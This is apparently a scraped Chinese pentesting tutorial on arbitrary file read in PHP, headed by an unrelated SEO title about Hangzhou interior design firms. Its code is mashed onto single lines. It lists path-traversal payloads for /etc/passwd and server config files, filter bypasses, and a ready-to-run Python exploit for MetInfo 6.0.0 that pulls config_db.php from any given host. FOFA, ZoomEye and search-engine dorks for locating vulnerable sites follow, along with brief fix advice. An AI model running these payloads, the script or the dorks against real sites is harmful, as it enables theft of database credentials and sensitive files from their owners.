杭州十大室內(nèi)設(shè)計公司網(wǎng)站關(guān)鍵詞優(yōu)化方法
文章目錄
- 滲透測試漏洞原理
- 任意文件讀取
- 1. 任意文件讀取概述
- 1.1 漏洞成因
- 1.2 漏洞危害
- 1.3 漏洞分類
- 1.4 任意文件讀取
- 1.4.1 文件讀取
- 1.4.2 任意文件讀取
- 1.4.3 權(quán)限問題
- 1.5 任意文件下載
- 1.5.1 一般情況
- 1.5.2 PHP實現(xiàn)
- 1.5.3 任意文件下載
- 2. 任意文件讀取攻防
- 2.1 路徑過濾
- 2.1.1 過濾../
- 2.2 簡單繞過
- 2.2.1 雙寫繞過
- 2.2.2 絕對路徑
- 2.2.3 使用..\
- 2.2.4 設(shè)置白名單
- 3. 任意文件讀取挖掘
- 3.1 手工挖掘
- 3.2 經(jīng)典案例(metlnfo_6.0.0_file-read)
- 3.2.1 漏洞描述
- 3.2.2 漏洞等級
- 3.2.3 影響版本
- 3.2.4 漏洞復現(xiàn)
- 3.2.5 漏洞點分析
- 3.2.6 深度利用
- 3.2.7 修復建議
- 4. 漏洞修復方案
- 4.1 輸入驗證
- 4.2 避免其他漏洞
- 4.3 限定文件的訪問范圍
滲透測試漏洞原理
任意文件讀取
1. 任意文件讀取概述
一些網(wǎng)站的需求,可能會提供文件查看與下載的功能。如果對用戶查看或下載的文件沒有限制或者限制繞過,就可以查看或下載任意文件。這些文件可以是源代碼文件,配置文件,敏感文件等等。
- 任意文件讀取會造成(敏感)信息泄露:
- 任意文件讀取很多情況是由于其他漏洞引發(fā)的,如,RCE、目錄遍歷、文件包含等。
- 任意文件讀取與任意文件下載本質(zhì)上沒有區(qū)別,信息都是從服務(wù)端流向瀏覽器的。
任意文件讀取與下載可能形式不同,但是從本質(zhì)上講讀取與下載沒有區(qū)別,從權(quán)限角度來講,讀取與下載都需要讀權(quán)限。
1.1 漏洞成因
不管是任意文件讀取還是任意文件下載,觸發(fā)漏洞的條件都是相同的:
- 存在讀取文件的功能(函數(shù)),也就是說,Wb應用開放了文件讀取功能:
- 讀取文件的路徑客戶端可控,完全控制或影響文件路徑參數(shù):
- 沒有對文件路徑進行校驗或者校驗不嚴導致校驗被繞過,
- 輸出了文件的內(nèi)容。
1.2 漏洞危害
下載服務(wù)器任意文件,包括源代碼文件、系統(tǒng)敏感文件、配置文件等等。
可以配合其他漏洞,構(gòu)成完整攻擊鏈。對源代碼文件進行代碼審計,查找更多的漏洞。
任意文件讀取與下載重點關(guān)注的文件:
- 源代碼
- 配置文件
- 敏感文件
- 日志文件
- …
1.3 漏洞分類
- 任意文件讀取
- 任意文件下載
1.4 任意文件讀取
以PHP腳本為例子,有一些函數(shù)可以實現(xiàn)文件讀取功能。
1.4.1 文件讀取
讀取文件的函數(shù) | 函數(shù)特點 |
---|---|
readfile() | 直接讀取文件內(nèi)容 自帶輸出功能 |
feed() | 直接讀取文件內(nèi)容 需要輸出讀取內(nèi)容 |
fread() | 打開文件 計算文件大小 讀取文件 輸出文件 關(guān)閉文件 |
函數(shù)具體介紹:PHP: Hypertext Preprocessor。
實驗環(huán)境在phpstudy的www目錄下創(chuàng)建一個file-read目錄,在目錄中創(chuàng)建一下php文件。
readfile:
// readfile.php
<?php$fp = "../phpinfo.php"; readfile($fp);
?>
訪問頁面,查看頁面源代碼,讀取成功。
file_get_contents:
// file_get_contents.php
<?php$fp = "../phpinfo.php"; echo file_get_contents($fp);
?>
訪問頁面,查看頁面源代碼,讀取成功。
fread:
// fread.php
<?php$fp = "../phpinfo.php";$f = fopen($fp,'r'); //打開文件$f_size = filesize($fp); //計算文件大小echo fread($f, $f_size); //讀取文件內(nèi)容并輸出到頁面上fclose($f);
?>
訪問頁面,查看頁面源代碼,讀取成功。
1.4.2 任意文件讀取
變量$fp,會捕獲GET方式傳遞過來的filepath參數(shù)。
$fp = @$_GET['filepath'];
filepath客戶端可控,并且沒有經(jīng)過校驗,會造成任意文件讀取漏洞。
?filepath=index.php ?filepath=/etc/passwd
?filepath=c:\windows\system32\drivers\etc\hosts ?filepath=c:\phpstudy_2016\apache\conf\httpd.conf ?filepath=c:\phpstudy_2016\mysql\my.ini?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php
?filePath=../../../../../../../../windows\system32\drivers\etc\hosts
?filePath=../../../../../../etc/hosts
1.4.3 權(quán)限問題
- Windows + IIS + ASP/ASPX:低權(quán)限
- Windows + Apache + php:高權(quán)限
- Windows + Java:高權(quán)限
- Linux + Apache + PHP:低權(quán)限
- Linux + Nginx + PHP:不一定
- Linux + Java:高權(quán)限
1.5 任意文件下載
1.5.1 一般情況
直接下載:例如圖片另存為。
a標簽下載:
<a href = './a.jpg'>IMG Download</a>
1.5.2 PHP實現(xiàn)
PHP文件下載實現(xiàn)過程:
- 先讀取文件
- 在輸出文件
- 提供下載
// file-download.php<?php$fp = './a.jpg';header('Content-Type:image/jpg');header('Content-Disposition:attachment;fileName='.basename($fp));readfile($fp);
?>
1.5.3 任意文件下載
任意文件下載的條件:
- 已知目標文件路徑
- 目標文件路徑,客戶端可控
- 沒有經(jīng)過校驗或校驗不嚴格
$fp = $_GET['filepath'];
實驗:
<?php$fp = $_GET['filepath'];// header('Content-Type:image/jpg');header('Content-Disposition:attachment;fileName='.basename($fp));readfile($fp);
?>
下載成功
文件內(nèi)容如下:
2. 任意文件讀取攻防
2.1 路徑過濾
2.1.1 過濾…/
<?php$fp = @$_GET['filepath'];$fp = str_replace("../","",$fp); readfile($fp);
?>
2.2 簡單繞過
2.2.1 雙寫繞過
?filepath=..././..././..././..././..././..././..././windows\system32\drivers\etc\hosts
2.2.2 絕對路徑
?filepath=c:/windows\system32\drivers\etc\hosts
2.2.3 使用…\
?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts
2.2.4 設(shè)置白名單
設(shè)置只能訪問a,b,cPHP文件
<?php$fp = @$_GET['filepath'];if($fp == 'a.php' or $fp == 'b.php' or $fp == 'c.php'){readfile($fp);}else{echo "Please stop!";}
?>
3. 任意文件讀取挖掘
3.1 手工挖掘
從文件名上看 | 從參數(shù)名上看 |
---|---|
readfile.php filedownload.php filelist.php | f= file= filepath= fp= readfile= path= readpath= url= menu= META-INF= WEB-INF= content= |
3.2 經(jīng)典案例(metlnfo_6.0.0_file-read)
下載鏈接:MetInfo歷史版本與文件。
說明 | 內(nèi)容 |
---|---|
漏洞編號 | – |
漏洞名稱 | MetInfo 6.0.0 任意文件讀取漏洞 |
漏洞評級 | 高危 |
影響范圍 | MetInfo 6.0.0 |
漏洞描述 | MetInfo 存在任意文件讀取漏洞,攻擊者利用該漏洞, 在具有權(quán)限的情況下,可以讀取網(wǎng)站任意文件,包括配置文件等敏感文件。 |
修復方案 | 打補丁 升級 上設(shè)備 |
3.2.1 漏洞描述
MetInfo 是一套使用PHP 和MySQL 開發(fā)的內(nèi)容管理系統(tǒng)。MetInfo 6.0.0 ~ 6.1.0 版本中的 /app/system/include/module/old_thumb.class.php
文件存在任意文件讀取漏洞。攻擊者可利用漏洞讀取網(wǎng)站上的敏感文件。
3.2.2 漏洞等級
高危
3.2.3 影響版本
MetInfo 6.0.0
3.2.4 漏洞復現(xiàn)
基礎(chǔ)環(huán)境
組件 | 版本 |
---|---|
OS | Microsoft Windows Server 2016 Standard |
Web Server | phpStudy 2016 |
MetInfo | 6.0.0 |
安裝過程
訪問頁面
漏洞點
/include/thumb.php
頁面訪問該路徑
http://127.0.0.1/MetInfo_6.0.0/include/thumb.php
使用bp抓包查看,bp是默認不抓圖片的包,這里修改配置。
將抓取到的數(shù)據(jù)包右鍵發(fā)送到重發(fā)器上。
第一次測試
/include/thumb.php?dir=..././http/..././config/config_db.php
第二次測試
/include/thumb.php?dir=.....///http/.....///config/config_db.php
第三次測試
/include/thumb.php?dir=http/.....///.....///config/config_db.php
第四次測試
/include/thumb.php?dir=http\..\..\config\config_db.php
注意:
- 此POC 僅適用于Windows 系統(tǒng),Linux 下無效。
- 因為輸入的右斜線\在windows中作為目錄的分隔符,而linux中不是。
3.2.5 漏洞點分析
漏洞點產(chǎn)生位置在thumb.php文件
加載old_thumb類
說明:這里的防守做兩步判斷
-
將…/和./全部過濾為空。
-
if判斷前四個字符必須是http,并且計算./的位置,也就是提交的dir變量中是否有./的出現(xiàn),如果沒有出現(xiàn)返回false。
-
readfile():任意文件讀取函數(shù)
-
dir這個讀取文件的路徑客戶端可控,但是不完全可控,限制可以被繞過。
3.2.6 深度利用
exp編寫
import requests
import sysbanner = """
MetInfo 6.0.0___________.__.__ __________ .___\_ _____/|__| | ____ \______ \ ____ _____ __| _/| __) | | | _/ __ \ | _// __ \\__ \ / __ | | \ | | |_\ ___/ | | \ ___/ / __ \_/ /_/ | \___ / |__|____/\___ > |____|_ /\___ >____ /\____ | \/ \/ \/ \/ \/ \/ Usage: python3 *.py http://192.168.188.183/MetInfo_6.0.0/
"""headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}dir_list = ["..././http/..././config/config_db.php",".....///http/.....///config/config_db.php","http/.....///.....///config/config_db.php","http\..\..\config\config_db.php"
]def attack(host):vul = "/include/thumb.php"url = host + vulres = requests.get(url = url, headers = headers)if res.status_code != 200:print(f"[INFO] {vul} is Not Exists!")exit()print(f"[INFO] {vul} is Exists!")for param in dir_list:params = {"dir": param }res = requests.get(url = url, params = params, headers = headers)print(f"[INFO] Test URL: {res.url}")if "<?php" in res.text:print("[RESULT] The target is vulnreable!")print(f"[RESULT]\n{res.text}")breakif len(sys.argv) < 2:print(banner)exit()host = sys.argv[1]attack(host = host)
漏洞挖掘
指紋信息
傳統(tǒng)搜索引擎
Powered by MetInfo 6.0.0
intext:"Powered by MetInfo 6.0.0" inurl:"tw"
FOFA
app="metinfo"
ZoomEye
app:"MetInfo"
app:"MetInfo"+os:"Windows"
3.2.7 修復建議
- 打補丁
- 升級
- 上設(shè)備
4. 漏洞修復方案
4.1 輸入驗證
- 讓web用戶只能訪問(讀取),所需要的文件和路徑。
4.2 避免其他漏洞
- 不能有文件包含漏洞,目錄遍歷漏洞或其他漏洞。
4.3 限定文件的訪問范圍
讓用戶不能訪問Web根目錄以外的路徑。
php.ini配置文件中,可以通過選項open_basedir來限定文件訪問的范圍。
open_basedir = C:\software\phpstudy_pro\WWW
實驗
不做限定的情況:
做限定的情況:
但是這樣還有讀取到當前的配置文件。
解決方式:所有的修復方案需要配合使用。